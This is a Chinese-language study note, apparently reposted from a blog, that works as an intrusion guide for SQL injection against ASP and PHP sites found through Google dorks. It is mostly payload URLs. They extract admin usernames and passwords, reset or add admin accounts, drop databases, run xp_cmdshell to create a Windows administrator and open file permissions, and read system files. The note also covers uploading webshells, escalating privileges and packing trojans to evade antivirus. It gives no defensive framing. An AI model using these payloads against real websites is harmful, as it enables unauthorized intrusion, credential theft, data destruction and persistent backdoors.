SQL注入笔记

1  FootPrinting要收集的信息有十个方面 网站注册信息 B网管资料 C 共享资料 D 端口信息 E FTP资源 网络拓扑结构 G 网站URL地址结构 H网站系统版本 I 后台地址 J 弱口令
常用语法 intext  allintext intitle  allintitle cache define filetype info inurl link site relatedURL
逻辑非 A-C AC的网页  OR 逻辑或  AORB   精确搜索用双引号  通配符 *一串字符?单个字符 含有通配符的关键字要引号 对忽略的关键字进行强制搜索,关键字前加上明文的+
入侵
查找别人流行的Webshell  利用木马的关键字查找 有很多木马都有 绝对的路径 保存的路径,输入文件内容等关键字diy.asp
搜索存在的注入漏洞站点 inurl:asp?id=
查找特点网站的注入漏洞 sitexxx.com inurl:php?id=
判断是否存在注入 and 1=1  and 1=2 出现页面不一样,存在
暴库 Conn.asp 暴库法  inrulconn.asp   %5c暴库法  网站最后一个改成 %5c 暴库
XSS 提交<script>alert(“test”)</script>弹窗
<imgsrc=javascript:alert(“test”)>  可以通过转换进制来绕过检测或过滤
工具注入使用 D    Pangolin  Havij  
手工注入
ACCESS
http://ww.xxx.com/xx.asp?id=xxxx’ 出错就存在注入提交 and 1=1and 1=2
http://www/xxx.com/xx.asp?id=xand user>0 判断数据库类型 ACCESS 会有 Microsoft JET Database  MSSQL 会有 SQL Server
http://www/xxx.com/xx.asp?id=xand exist (select * from admin) 返回正常,说明存在一般的表名为admin  password
猜解列名 exists (select 列名 from 表名或者 exists select(列名)from 表名)
猜解列的长度 and (select top 1 len(列名) from 表名)>数字 出错的数字是几就说明长度为几
猜解用户名/密码 and (select top 1 asc(mid(列名,列数N,1)) from 表名)>X  Top后的数字为该列的第N行,XASCII码,列数N就是在这一列中的第几个数字
SQL ServerMSSQL
数字型
http://www/xxx.com/xx.asp?id=x添加单引号出错 提交 and 1=1  and 1=2
http://www/xxx.com/xx.asp?id=xand user>0 得到用户名
http://www/xxx.com/xx.asp?id=xhaving 1=1 –  得到表名
http://www/xxx.com/xx.asp?id=xgroup by 表名 having 1=1--  得到列名
暴任意表名和用户名语句and (select top 1 name from(select top Nid, name from sysobjects where xtype=char(85)) T order by id desc)>1 其中N就是代表数据库中的第N个表
暴任意表中的任意列的语句
and (select top 1 col_name(object_id(‘表名’),1) fromm sysobjects)>1 第一个列名
and (select top 1 col_name(object_id(‘表名’),2) fromm sysobjects)>1 第二个列名
暴数据库的数据and (select top 1 列名 from 表名 whereid=N)>1 其中N代表第N条数据
http://www/xxx.com/xx.asp?id=xand (select top 1 username from admin where id=1)>1 猜解admin表中的username的第一台数据
http://www/xxx.com/xx.asp?id=xand (select top 1 password from admin where id=1)>1 得到密码
字符型
http://www/xxx.com/xx.asp?action=value  value就是一个字符
http://www/xxx.com/xx.asp?action=value’and 1=1  and 1=2 来判断注入
http://www/xxx.com/xx.asp?action=value’and user>0 判断数据库类型

 

2搜索型注入利用了SQL语句中的模糊查询功能   在搜索框中输入 “要搜索的关键字%’ and 注入工具代码”
注入过程中暴出的管理员密码是经过MD5加密,又不能破解,这个时候直接利用SQL注入来修改数据库中的数据,直接把管理员的密码改掉
语句 ;update 表名 set 列名=’内容’ where 条件
如 http://www/xxx.com/xx.asp?id=xx;update admin set password=’123’ where username=’aaa’
其功能就是把admin 表中的username为aaa的密码改为123
新添加一个管理员 语句 ;insert into 表名 values(内容)--
如http://www/xxx.com/xx.asp?id=xx;insert into admin values(aaa,123)--
其功能就是往admin表中添加一个username为aaa password 为123的管理员
得到数据库名称为bbb  执行 ;drop database bbb , bbb数据库就删除了
如http://www/xxx.com/xx.asp?id=xx;drop database bbb
URL后面提交 and (select @@version)>0 来获取数据库版本
提交 and db_name()>0 来获得当前数据库名
提交 and user>0  获得当前数据库用户名 还有其他的一些如SESSION_USER  CURRENT_USER  SYSTEM_USER 
判断权限  提交http://www/xxx.com/xx.asp?id=xx and user>0 返回PUBLIC 当前就是PUBLIC权限
判断是否支持多句查询 提交 http://www/xxx.com/xx.asp?id=xx;declare @a int—
判断是否支持子查询   提交 http://www/xxx.com/xx.asp?id=xx and (select cout(1) from [sysobject])>0
扩展存储过程  需要sa权限才能执行
提交http://www/xxx.com/xx.asp?id=xx;exec master..xp_cmdshell ‘ dir c:’  查看c盘根目录相关的文件和文件夹
提交http://www/xxx.com/xx.asp?id=xx;exec master..xp_cmdshell ‘ netuser 123 123/add’ 和
       http://www/xxx.com/xx.asp?id=xx;exec master..xp_cmdshell ‘net localgroup administrators 123/add’  添加一个管理员
提交 http://www/xxx.com/xx.asp?id=xx and SELECT count(*) FROM master.dbo.sysobjects WHERE xtype=’X’ and name=’xp_cmdshell’ 返回说明扩展存储过程存在
不存在,我们使用 http://www/xxx.com/xx.asp?id=xx;exec sp_addextendedproc xp_cmdshell,’xplog70.dll’ 来恢复,如果要删除,执行exec sp_dropextendedproc ‘xp_cmdshell’
提交http://www/xxx.com/xx.asp?id=xx;DECLARE @S INT EXEC SP_OACREAT  ‘wscript.shell’, @s exec master..SPOAMETHON @s, ‘run’,null,’cmd.exe/c dir c:’  通过sp_OACREAT 和sp_OAMETHOD 来执行DOS命令
MySQL
Google 中输入 inurl:php?id= 就能得到很多php站了
http://www/xxx.com/xx.php?id=32 后面添加 and 1=1 和 and 1=2 判断是否存在注入
http://www/xxx.com/xx.php?id=32/* 只有MySQL数据库支持/*注释,提交就能够判断
and ord(mid(verion(),1,1))>51/* 确定版本  返回正常版本大于4.0  错误,不支持UNION查询   51是ASC码3 大于3 就是4版本以上
URL提交 /*!%20s*/ 返回错误,可判断该数据为MySQL
URL提交/*!40000%20s*/ 返回错误,版本大于4
利用 union select 1,2,3,4 来获得字段数 或 order by 10 来获得
Union select 字段数 from 表名  字段数有三个 就应该是 1,2,3
http://www/xxx.com/xx.php?id=32 union select 1,2,3,4,5,6,7 from admin
http://www/xxx.com/xx.php?id=32 union select 1,version(),3,4,5,6,7 from admin 来判断版本
http://www/xxx.com/xx.php?id=32 union select 1,username,3,4,5,6,7 from admin 来获得用户名
http://www/xxx.com/xx.php?id=32 union select 1,password,3,4,5,6,7 from admin 来获得用户名密码
http://www/xxx.com/xx.php?id=32 union select 1,password,3,4,5,6,7 from admin where id=2 得到第二天记录
http://www/xxx.com/xx.php?id=32 and ord(mid(user(),1,1))=114/* 返回正常说明是root权限
and (select count(*) from MySQL.user)>0 来判断是否具有文件读写的权限http://www/xxx.com/xx.php?id=32 union select 1,load_file(0x655A2F626F6F742E696E69),3,4,5,6,7 from admin  就可以读取c:oot.ini 中的信息
旁注
如何获得Webshell
ASP系统  会过滤掉asp后缀,提交aspx 木马 或者把后缀改为 ASA CER  AASPSP 
PHP和JSP  一般是linux系统 会解析perl  后缀名 pl  在windows上 上传ASPX ASA CER 都可以获得webshell
后台备份恢复获得webshell
SQL导出获得webshell  可以使用getwebshell工具导出
写入过滤不完全获得webshell  利用一句话 菜刀连接,上传大马
提权 pcanywhere  serv-u  sam 提权
查找conn config pass 看能否得到sa mysql 密码
检查系统服务 task 
大部分网站管理员会删除cmd net 我们需要上传cmd.exe  net.exe net1.exe
后台数据库是SQL Server提交http://www.xxx.com/xxx/asp?id=xx;exec master.dbo.xp_cmdshell ‘cacls d:home /t /e /c /g everyone:f’ ;-- 这样赋予了操作系统everyone组的成员所有权限,可以上传
利用本地溢出程序进行提权 木马的加密与防杀 加壳就是对木马进行加密或变换 网络钓鱼 社会工程学

原文地址:https://www.cnblogs.com/Arisoding/p/3844199.html